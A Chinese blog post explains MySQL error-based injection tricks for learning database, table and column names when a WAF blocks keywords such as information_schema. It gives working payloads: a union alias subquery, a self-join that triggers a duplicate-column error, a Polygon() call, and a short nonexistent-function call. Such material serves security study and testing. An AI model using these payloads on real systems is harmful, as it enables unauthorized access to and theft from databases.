• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

lucklyzpp

时时勤拂拭,莫使惹尘埃。
  • 博客园
  • 联系
  • 订阅
  • 管理

公告

View Post

mysql注入

mysql注入可报错时爆表名、字段名、库名

已知某个地方有注入,waf拦截了information_schema、columns、tables、database、schema等关键字或函数,我们如何去获取当前表名,字段名和库名呢?

 

 

字段名

常见的做法有利用union搭配别名子查询,在不知道字段的时候进行注入。

例如:

select * from test where id =1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

 

via : http://www.poluoluo.com/server/201706/547394.html

 

但是如果再进行限制,不允许使用union 该怎么破呢?

 

今天在翻阅Orange大大的博客,发现在11年hitcon中,有一个应用点类似下面:

select name from test where id=1 and (select * from (select * from test as a join test as b) as c);

可以看到mysql返回一个报错如下:

   

把当前表第一个字段成功爆出来了。

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

同时,可以利用using爆其他字段

select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c);

 

 

表名

翻阅mysql的文档发现了一个非常好玩的函数

Polygon(ls1, ls2, ...)

Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

  如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。

  

 

库名

上面的方法已经可以爆出库名了,但是如果我无限限制payload长度又如何? 比如 四字节?

 

test it 🙂

select * from users where uid =1-a();

 

库名成功出来了,原理:一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数。

posted on 2020-10-13 22:55  Lucklyzpp  阅读(97)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3